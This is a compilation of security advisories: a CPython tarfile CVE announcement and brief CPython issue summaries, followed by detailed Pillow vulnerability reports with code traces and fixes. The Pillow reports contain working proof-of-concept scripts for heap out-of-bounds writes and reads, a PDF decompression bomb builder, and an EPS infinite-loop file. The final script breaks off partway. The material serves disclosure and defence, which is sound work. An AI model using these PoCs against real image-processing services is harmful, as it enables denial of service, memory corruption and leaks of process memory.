See how python compares to other vendors in security performance
-------- Forwarded Message -------- Subject: [Security-announce][CVE-2026-19672] tarfile extraction filter bypass allows creation of directories outside the destination Date: Wed, 19 Aug 2026 14:56:06 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>
There is a MEDIUM severity vulnerability affecting CPython.
The tarfile module's tar and data extraction filters created directories outside the destination for members whose name leaves the destination and returns to it, such as ../evil/../dest/sub/file. The containment check used the resolved path, but intermediate directories were created from the name as given.
Only empty directories are created outside the destination. Member contents are still extracted inside it. To return to the destination the member's name must contain the destination directory's own final component, so extraction into a secure randomised directory is not affected.
This affects POSIX platforms only. On Windows, .. components are collapsed before the path reaches the filesystem, so the directories outside the destination are never created.
Please see the linked CVE ID for the latest information on affected versions:
https://www.cve.org/CVERecord?id=CVE-2026-19672 https://github.com/python/cpython/pull/156000
Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org
When decompressing crafted zip files using the bzip/LZMA/Zstandard
compressions, Python could use an attacker-controlled size to
pre-allocate memory, possibly resulting in memory exhaustion.
The tarfile module's tar and data extraction filters created directories outside the destination for members whose name leaves the destination and returns to it, such as ../evil/../dest/sub/file. The containment check used the resolved path, but intermediate directories were created from the name as given.
Only empty directories are created outside the destination. Member contents are still extracted inside it. To return to the destination the member's name must contain the destination directory's own final component, so extraction into a secure randomised directory is not affected.
This affects POSIX platforms only. On Windows, .. components are collapsed before the path reaches the filesystem, so the directories outside the destination are never created.
The HTTPPasswordMgr class in the urllib.request module, along with its subclasses HTTPPasswordMgrWithDefaultRealm and HTTPPasswordMgrWithPriorAuth, did not take the URL scheme into account when matching stored credentials against a requested URL. Credentials added for an https:// URL were also used for requests to the same host over http://, so an attacker able to redirect or downgrade a client to plain HTTP (for example, via an HTTPS-to-HTTP redirect or an on-path position) could capture credentials in cleartext. Credentials added for http:// URLs could likewise be sent over https://.
Credential matching is now scoped by URL scheme. Credentials registered with a URL that includes a scheme are only used for requests with the same scheme. Credentials registered with a bare authority (such as example.com or example.com:8080) continue to match any scheme, preserving compatibility with existing code, including proxy authentication.
Users who cannot upgrade immediately can mitigate by ensuring that applications never make plain http:// requests to hosts for which credentials are registered, for example by not following redirects to http:// URLs.
The "stringprep" module didn't process characters from RFC 3454 tables B.2 or B.3 correctly: the latest Unicode codepoint attributes were used instead of the specified Unicode 3.2.0. This behavior would cause mismatches when processing domain names using IDNA 2003 (the "idna" codec) and the intableb2() function of the "stringprep" module. This only affects domain names containing characters that were not previously registered or had their Unicode attributes such as case-folding behavior updated since Unicode 3.2.0.
Attacker-controlled CSV samples can trigger super-linear regular-expression work during dialect sniffing and consume significant CPU when applications pass unbounded input to csv.Sniffer.sniff().
Summary
When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image.MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImagingMapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= bufferlen but never checks that stride is at least the natural row width xsize pixelsize.
The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).
Complete Code Trace
Step 1: McIdasImageFile.open - turns attacker header words into image size, file offset, and row stride with no validation.
python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not accept(s) or len(s) != 256: # accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.areadescriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled
if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in MAPMODES ... self.mode = mode self.size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile.Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ]
Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to mapbuffer.
python src/PIL/ImageFile.py:322-348 if usemmap: # usemmap = self.filename and len(self.tile) == 1 decodername, extents, offset, args = self.tile[0] if (decodername == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image.MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESSREAD) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.mapbuffer( self.map, self.size, decodername, offset, args # args = ("L", stride, 1) )
Step 3: PyImagingMapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.
c / src/map.c:65-140 / if (!PyArgParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &modename, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(modename); / "L" /
if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGINGMODEL || mode == IMAGINGMODEP) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; }
if (stride > 0 && ysize > PYSSIZETMAX / stride) {/ overflow guard only / PyErrSetString(PyExcMemoryError, "Integer overflow in ysize"); return NULL; } size = (Pyssizet)ysize stride; / = 11 = 1 /
if (offset > PYSSIZETMAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErrSetString(PyExcValueError, "buffer is not large enough"); PyBufferRelease(&view); return NULL; }
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) /
/ setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... }
im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two.
Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.
c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. /
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin.open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.mapbuffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImagingMapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) Proof of Concept
See attached poc.zip
Impact on a Parent Application
Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix Core fix in src/map.c (PyImagingMapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin.open: reject offset < 0 or stride < xsizepixelsize .
Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.
Minimal public API trigger:
python from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INTMAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.
This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.
Details
Current src/PIL/ImageFilter.py:
python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank)
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:
c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); }
imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin );
For a 3x3 image and xmargin = ymargin = INTMAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:
c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; }
src/libImaging/RankFilter.c does contain checks that would reject this size:
c if (!(size & 1)) { return (Imaging)ImagingErrorValueError("bad filter size"); } if (size > INTMAX / size || size > INTMAX / (size (int)sizeof(FLOAT32))) { return (Imaging)ImagingErrorValueError("filter size too large"); }
But those checks are reached only after RankFilter.filter() has already called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
python from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))
Observed on local Pillow 12.3.0.dev0 ASAN target:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 expandimage /out/src/src/imaging.c:1100 0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
python from io import BytesIO from PIL import Image, ImageFilter
SIZE = 4294967295 PIXEL = 0x41424344
src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
Observed ASAN signature:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 expandimage /out/src/src/imaging.c:1100 0 bytes after a 4-byte allocation
Version checks:
text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:
c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); } if (xmargin > (INTMAX - imIn->xsize) / 2 || ymargin > (INTMAX - imIn->ysize) / 2) { return (Imaging)ImagingErrorValueError("bad kernel size"); }
Summary PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
python PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expectedlength = self.dictionary[b"DL"] except KeyError: expectedlength = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expectedlength)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an initial buffer hint, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls readpdfinfo() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path: python with PdfParser.PdfParser("evil.pdf") as pdf: streamobj, = pdf.getvalue(pdf.buf, streamoffset) data = streamobj.decode() # ← OOM here
PoC
python import zlib, tempfile, os, time from PIL import PdfParser
Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPANDMB = 100 raw = b'\x00' (EXPANDMB 1000000) compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf: obj, = pdf.getvalue(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
Actual output (Pillow 12.1.1, Python 3.12): PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
python MAXDECOMPRESSBYTES = 200 1024 1024 # 200 MB cap
def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expectedlength)) if len(result) > MAXDECOMPRESSBYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result
Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
python im.save(out, format="TGA", compression="tgarle")
Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tgarle encoder when RLE compression is requested.
src/encode.c:setimage() allocates the row buffer using the packed-bit formula:
c state->bytes = (state->bits state->xsize + 7) / 8; state->buffer = (UINT8 )calloc(1, state->bytes);
For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
c bytesPerPixel = (state->bits + 7) / 8;
This becomes 1, and the encoder uses pixel indexes as byte offsets:
c static int comparePixels(const UINT8 buf, int x, int bytesPerPixel) { buf += x bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; }
The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:
c memcpy( dst, state->buffer + (state->x bytesPerPixel - state->count), flushCount );
A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
python import io from PIL import Image
out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tgarle")
Observed on local Pillow 12.3.0.dev0 ASAN target:
text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
python import hashlib import io import PIL from PIL import Image
WIDTH = 65535 ATTEMPTS = 20 ROWBYTES = (WIDTH + 7) // 8 MAXOOBWINDOW = WIDTH - ROWBYTES
def extractoobpayload(data): i = 18 pixel = 0 oob = bytearray()
while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1
if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROWBYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROWBYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tgarle") oob = extractoobpayload(out.getvalue()) if len(oob) > len(best): best = oob
with open("/tmp/maxoobbytes.bin", "wb") as fp: fp.write(best)
print(f"Pillow={PIL.version}") print(f"packedrowbytes={ROWBYTES}") print(f"maximumoobwindow={MAXOOBWINDOW}") print(f"serializeddistinctooboffsets={len(best)}") print(f"nonzerooobbytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAXOOBWINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}")
Observed on installed Pillow 12.2.0:
text Pillow=12.2.0 packedrowbytes=8192 maximumoobwindow=57343 serializeddistinctooboffsets=57297 nonzerooobbytes=54407 coverage=99.92%
Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.
Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:
python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.outputmode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut
If imOut is provided, Pillow does not check:
text im.mode == self.inputmode imOut.mode == self.outputmode
The C wrapper in src/imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:
c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; }
for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); }
pyCMScopyAux(hTransform, imOut, im); return 0; }
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPERGBA8, which writes 4 bytes per pixel:
c case IMAGINGMODERGB: case IMAGINGMODERGBA: case IMAGINGMODERGBX: return TYPERGBA8;
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 width bytes for that row.
For width 4096:
text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
python from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0)
print("before", flush=True) transform.apply(im, out) print("after")
Observed locally on Pillow 12.3.0.dev0:
text before after free(): invalid next size (normal) Aborted (core dumped)
Controlled overwrite evidence PoC:
python from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
Run under gdb:
bash gdb -q --batch -ex run -ex bt --args \ python3 b022controlled.py
Observed on Pillow 12.3.0.dev0:
text Program received signal SIGSEGV, Segmentation fault. pthreadmutexlock (mutex=mutex@entry=0x4443424144434241) #1 cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cmsprofiletobytes (...) at src/imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.
Suggested fix
Validate modes before calling into the native transform:
python def apply(self, im, imOut=None): if im.mode != self.inputmode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.outputmode, im.size, None) elif imOut.mode != self.outputmode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut
The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().
Summary
Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.
The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.
Confirmed affected versions: Pillow 12.0.0 through 12.2.0.
Details
The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.
Relevant code:
elif bytesmv[:14] == b"%%BeginBinary:": bytecount = int(bytearr[14:bytesread]) self.fp.seek(bytecount, os.SEEKCUR)
There is no validation that bytecount is non-negative.
If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.
In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.
PoC
Save the following content as pillowepsbeginbinarydos.eps:
%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF
Then run:
python -m pip install "Pillow==12.2.0"
python - <<'PY' from PIL import Image Image.open("pillowepsbeginbinarydos.eps") PY
Expected behavior: Pillow should reject the malformed EPS file with a parser exception.
Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.
The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:
LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94
Impact
This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().
This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.
Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEKCUR).
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 W attacker-controlled bytes starting 4 W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.
Minimal public API trigger:
python from PIL import Image
INTMIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INTMIN, 1))
The same root cause is also reachable through Image.crop() and Image.alphacomposite(). No private API, ctypes, custom Python object, or malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:
python self.im.paste(source, box)
src/imaging.c:paste() parses the four Python coordinates into signed int values and calls ImagingPaste():
c int x0, y0, x1, y1; PyArgParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImagingAsImaging(source), ..., x0, y0, x1, y1);
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:
c xsize = dx1 - dx0; ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; }
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:
c dx = pixelsize; xsize = pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.
The primitive scales with the attacker-controlled source width:
text source width = W box = ((1 << 31) - W, 0, INTMIN, 1)
C destination offset = -4 W C memcpy size = 4 W write range = [rowstart - 4W, rowstart)
Examples for RGBA:
text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly INTMAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.
Two other documented APIs reach the same sink:
python Image.crop() path left = INTMIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
Image.alphacomposite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alphacomposite(over, dest=(left, 0))
Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it as b021poc.py and run it with paste, crop, or alpha.
python #!/usr/bin/env python3 import argparse import sys
from PIL import Image
INTMIN = -(1 << 31)
